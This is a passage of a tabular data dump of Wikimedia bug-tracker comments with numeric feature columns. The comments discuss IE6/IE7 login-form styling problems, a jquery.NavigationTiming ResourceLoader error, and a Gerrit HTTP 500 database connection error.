Indeed, on Chromium the stats move below the form, which is (or was at some point) the expected behaviour.",,,1369773966,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-7kukyohnm6cpgj7lbdcc,task_subcomment,,True,c2,1,True,,,-14,True,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,12.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,6.0,12.0,0.0,3.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.71875,0.8125,"Firefox 21.0 on Linux, 1024x768px. 
Indeed, on Chromium the stats move below the form, which is (or was at some point) the expected behaviour."
225728,[New UserLogin] Bad wrapping of signup stats on non-wide screens,"**swalling** wrote:

I cannot replicate this bug in Chrome, Safari, or FF on OSX. Can you give me your browser dimensions and version? I think it may be specific to whatever you're using.",,,1369768158,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-7kukyohnm6cpgj7lbdcc,task_subcomment,,True,c2,1,False,,,-14,True,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,4.0,2.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,15.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,15.0,7.0,9.0,2.0,0.0,0.0,15.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,3.391304347826087,0.8478260869565217,"**swalling** wrote:

I cannot replicate this bug in Chrome, Safari, or FF on OSX. Can you give me your browser dimensions and version? I think it may be specific to whatever you're using."
50303,IE7/IE6 RL error on login pages for jquery.NavigationTiming,"Seen at 
http://commons.wikimedia.beta.wmflabs.org/wiki/Special:UserLogin/signup  at least after navigating to Special:CreateAccount

The browser test for creating an account has a function that checks for Resource Loader errors:  https://github.com/wikimedia/qa-browsertests/blob/master/features/step_definitions/create_account_steps.rb

That function is returning an error ""Error modules: jquery.NavigationTiming."" for IE7 and IE6.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=48309",Low,25.0,1368123000,1368154468.0,PHID-USER-kqibbfgfpgocyzwe32lv,False,,False,PHID-TASK-s3wm3nduhhjvf64a2qgl,task_description,invalid,True,c2,1,False,False,True,-16,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,0.0,16.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,5.0,1.0,22.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,2.0,0.0,0.0,0.0,1.0,4.0,0.0,4.0,0.0,1.0,0.0,3.841463414634146,0.5975609756097561,"Seen at 
URL  at least after navigating to Special:CreateAccount

The browser test for creating an account has a function that checks for Resource Loader errors:  URL

That function is returning an error ""Error modules: jquery.NavigationTiming."" for IE7 and IE6.

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
215294,IE7/IE6 RL error on login pages for jquery.NavigationTiming,"This extension was totally rewritten in March. There is no 'jquery.NavigationTiming' module, and the current JavaScript code base does not share so much as a single line with the version running on the beta cluster. The version that did have 'jquery.NavigationTiming' was broken in several ways, any one of which could have caused this. Marking as 'invalid', as this bug is epiphenomenal to bug 48309 but not a duplicate of it.",,,1368154468,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-s3wm3nduhhjvf64a2qgl,task_subcomment,,True,c2,1,False,,,-16,True,3.0,0.0,1.0,2.0,2.0,7.0,1.0,0.0,0.0,0.0,6.0,7.0,0.0,0.0,1.0,0.0,0.0,6.0,11.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,1.0,0.0,11.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,7.0,5.0,9.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,1.0,11.0,5.0,0.0,7.0,0.0,1.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,4.056818181818182,0.6818181818181818,"This extension was totally rewritten in March. There is no 'jquery.NavigationTiming' module, and the current JavaScript code base does not share so much as a single line with the version running on the beta cluster. The version that did have 'jquery.NavigationTiming' was broken in several ways, any one of which could have caused this. Marking as 'invalid', as this bug is epiphenomenal to bug 48309 but not a duplicate of it."
215290,IE7/IE6 RL error on login pages for jquery.NavigationTiming,"(In reply to comment #3)
> due to bug 48309.  I'll look at this again when that is resolved.

==> adding dependency on bug 48309",,,1368150002,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-s3wm3nduhhjvf64a2qgl,task_subcomment,,True,c2,1,True,,,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,11.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,3.0,0.9473684210526315,"(In reply to comment #3)
QUOTE

==> adding dependency on bug 48309"
215285,IE7/IE6 RL error on login pages for jquery.NavigationTiming,It's running an ancient version (the first added to extensions.git) due to bug 48309.  I'll look at this again when that is resolved.,,,1368137875,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-s3wm3nduhhjvf64a2qgl,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,7.0,3.0,0.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,3.7,0.9333333333333333,It's running an ancient version (the first added to extensions.git) due to bug 48309.  I'll look at this again when that is resolved.
215277,IE7/IE6 RL error on login pages for jquery.NavigationTiming,"Note, GettingStarted does not control the login or signup pages themselves.  It affects Special:GettingStarted and the post-signup screen, and sometimes UI on later pages (e.g. an article it encourages you to work on).

This looks like a possible bug in NavigationTiming.",,,1368132259,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-s3wm3nduhhjvf64a2qgl,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,15.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,9.0,9.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,4.296296296296297,0.8333333333333334,"Note, GettingStarted does not control the login or signup pages themselves.  It affects Special:GettingStarted and the post-signup screen, and sometimes UI on later pages (e.g. an article it encourages you to work on).

This looks like a possible bug in NavigationTiming."
215270,IE7/IE6 RL error on login pages for jquery.NavigationTiming,"**swalling** wrote:

(In reply to comment #0)
> 
> That function is returning an error ""Error modules: jquery.NavigationTiming.""
> for IE7 and IE6.

Related to https://meta.wikimedia.org/wiki/Schema:NavigationTiming ?",,,1368126551,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-s3wm3nduhhjvf64a2qgl,task_subcomment,,True,c2,1,False,,,-16,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,11.0,11.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7037037037037037,0.6666666666666666,"**swalling** wrote:

(In reply to comment #0)
QUOTE
QUOTE
QUOTE

Related to URL ?"
50189,"[New form] Minor whitespace issues in IE7, for login and account create account","**Author:** `swalling`

**Description:**
Create account

See attached screenshots for minor spacing/whitespace issues.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10342}",Low,25.0,1367884500,1570150516.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-TASK-uvgtcezs5ntdn4gsg75f,task_description,declined,True,c2,1,False,False,False,-17,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.685185185185185,0.5370370370370371,"**Author:** CODE

**Description:**
Create account

See attached screenshots for minor spacing/whitespace issues.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F10342}"
1364761,"[New form] Minor whitespace issues in IE7, for login and account create account",Declining per T232563.,,,1570150516,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-uvgtcezs5ntdn4gsg75f,task_subcomment,,True,c2,3,True,,,318,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,5.0,1.0,Declining per T232563.
208802,"[New form] Minor whitespace issues in IE7, for login and account create account","**swalling** wrote:

%%%*** Bug 48759 has been marked as a duplicate of this bug. ***%%%",,,1369359560,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uvgtcezs5ntdn4gsg75f,task_subcomment,,True,c2,1,False,,,-14,True,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,3.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,2.34375,0.5625,"**swalling** wrote:

%%%*** Bug 48759 has been marked as a duplicate of this bug. ***%%%"
208794,"[New form] Minor whitespace issues in IE7, for login and account create account","**swalling** wrote:

As a reminder: IE7 is Grade B compatibility (http://www.mediawiki.org/wiki/Compatibility#Browser), meaning very low usage levels, so a fix would be nice, but is not a blocker per se.",,,1367884613,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uvgtcezs5ntdn4gsg75f,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,2.0,0.0,2.0,5.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,12.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,8.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,0.0,0.0,2.0,3.15,0.8,"**swalling** wrote:

As a reminder: IE7 is Grade B compatibility (URL meaning very low usage levels, so a fix would be nice, but is not a blocker per se."
208788,"[New form] Minor whitespace issues in IE7, for login and account create account","**swalling** wrote:

IE7, login

**Attached**: {F10343}",,,1367884536,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-uvgtcezs5ntdn4gsg75f,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.4761904761904763,0.5714285714285714,"**swalling** wrote:

IE7, login

**Attached**: {F10343}"
50188,[New form] Login and signup form styles borked in IE6,"**Author:** `swalling`

**Description:**
Login in IE6

Completely bonkers. 

IE6 is less than 1% of our user base, and is Grade B for compatibility (http://www.mediawiki.org/wiki/Compatibility#Browser) but this is pretty bad. We should take a hack at it unless it would require completely rewriting the CSS etc.

--------------------------
**Version**: unspecified
**Severity**: major

**Attached**: {F10338}",Low,25.0,1367884380,1397030318.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-jtillquxnzr5gdgccq2i,task_description,declined,True,c2,1,False,False,False,-17,True,0.0,0.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,7.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,0.0,0.0,12.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,18.0,1.0,2.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,4.0,7.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,3.3956043956043955,0.6483516483516484,"**Author:** CODE

**Description:**
Login in IE6

Completely bonkers. 

IE6 is less than 1% of our user base, and is Grade B for compatibility (URL but this is pretty bad. We should take a hack at it unless it would require completely rewriting the CSS etc.

--------------------------
**Version**: unspecified
**Severity**: major

**Attached**: {F10338}"
208746,[New form] Login and signup form styles borked in IE6,"**swalling** wrote:

IE6 is officially at end of lifecycle,[1] and is less than 1% of Wikimedia readership. There is no reason to consider fixing this if it's specific to IE6.

1.http://www.modern.ie/en-us/ie6countdown",,,1397030318,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jtillquxnzr5gdgccq2i,task_subcomment,,True,c2,3,False,,,32,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,9.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,2.0,16.0,9.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,3.5813953488372094,0.7674418604651163,"**swalling** wrote:

IE6 is officially at end of lifecycle,[1] and is less than 1% of Wikimedia readership. There is no reason to consider fixing this if it's specific to IE6.

1.URL"
208739,[New form] Login and signup form styles borked in IE6,*** Bug 58463 has been marked as a duplicate of this bug. ***,,,1386967436,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jtillquxnzr5gdgccq2i,task_subcomment,,True,c2,3,True,,,15,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 58463 has been marked as a duplicate of this bug. ***
208733,[New form] Login and signup form styles borked in IE6,*** Bug 48923 has been marked as a duplicate of this bug. ***,,,1380129833,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jtillquxnzr5gdgccq2i,task_subcomment,,True,c2,3,True,,,4,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 48923 has been marked as a duplicate of this bug. ***
208726,[New form] Login and signup form styles borked in IE6,"**swalling** wrote:

IE6 create account

**Attached**: {F10339}",,,1367884438,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-jtillquxnzr5gdgccq2i,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8095238095238093,0.5714285714285714,"**swalling** wrote:

IE6 create account

**Attached**: {F10339}"
50061,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","Screenshot of error page

Location: https://gerrit.wikimedia.org/r/#/c/62207/

-------
HTTP ERROR: 500

Problem accessing /r/. Reason:

    Guice provision errors:

1) Cannot open ReviewDb
  at com.google.gerrit.server.util.ThreadLocalRequestContext$1.provideReviewDb(ThreadLocalRequestContext.java:71)
  while locating com.google.gerrit.reviewdb.server.ReviewDb

1 error
Powered by Jetty://
-------

--------------------------
**Version**: wmf-deployment
**Severity**: major

**Attached**: {F10881}",Low,25.0,1367624100,1469470056.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-oetk6bbl6omm354ejz3b,False,PHID-TASK-pydycukvdxntr4dpcbxp,task_description,invalid,True,c2,1,True,False,False,-17,True,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,1.0,5.214285714285714,0.5952380952380952,"Screenshot of error page

Location: URL

-------
HTTP ERROR: 500

Problem accessing /r/. Reason:

    Guice provision errors:

1) Cannot open ReviewDb
  at com.google.gerrit.server.util.ThreadLocalRequestContext$1.provideReviewDb(ThreadLocalRequestContext.java:71)
  while locating com.google.gerrit.reviewdb.server.ReviewDb

1 error
Powered by Jetty://
-------

--------------------------
**Version**: wmf-deployment
**Severity**: major

**Attached**: {F10881}"
700103,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","So I'm closing this as invalid. Couple of things:

* ""Guice provision error,"" while an opaque error, is what Gerrit is going to throw when it can't connect to the database. There's not much we can do here except make sure it can connect. Upgrading, while great and maybe fixes *some* connection bug somewhere, doesn't actually fix the complaint here.
* Showing a generic 503 page when Gerrit is having troubles (apache proxy can't talk to it) is confusing and not useful to users. I fixed this so we show a nicer downtime page now.

I'm not sure what else is actionable here.",,,1469470056,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,3,True,,,151,True,1.0,0.0,0.0,0.0,4.0,7.0,1.5,0.0,0.0,0.0,0.5,3.5,0.0,0.0,0.5,3.5,0.0,12.0,5.0,0.0,0.5,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,1.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.5,0.0,1.5,0.0,0.0,0.0,11.0,0.0,1.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.5,2.0,0.0,0.0,1.0,0.0,0.0,3.5,3.5,6.5,3.0,1.5,6.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,5.0,5.0,1.5,0.0,1.0,0.0,5.0,0.0,2.5,2.0,0.0,2.5,1.0,0.0,0.0,3.661538461538462,0.8,"So I'm closing this as invalid. Couple of things:

* ""Guice provision error,"" while an opaque error, is what Gerrit is going to throw when it can't connect to the database. There's not much we can do here except make sure it can connect. Upgrading, while great and maybe fixes *some* connection bug somewhere, doesn't actually fix the complaint here.
* Showing a generic 503 page when Gerrit is having troubles (apache proxy can't talk to it) is confusing and not useful to users. I fixed this so we show a nicer downtime page now.

I'm not sure what else is actionable here."
693836,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""",This was not fixed on the existing install and should not be declined either because it's a real bug. Can resolve after upgrade.,,,1468429778,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,3,True,,,150,True,0.0,0.0,0.0,8.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,4.0,4.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.076923076923077,0.9230769230769231,This was not fixed on the existing install and should not be declined either because it's a real bug. Can resolve after upgrade.
693627,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","Yeah, but we are talking about upgrading gerrit.wikimedia.org, not some other subdomain. Plus not really relevant for this task.",,,1468416046,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-pydycukvdxntr4dpcbxp,task_subcomment,,True,c2,3,True,,,150,True,4.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,4.782608695652174,0.8695652173913043,"Yeah, but we are talking about upgrading gerrit.wikimedia.org, not some other subdomain. Plus not really relevant for this task."
693621,"Gerrit: HTTP 500 ""Guice provision errors: Cannot open ReviewDb""","Actually it has been deployed at

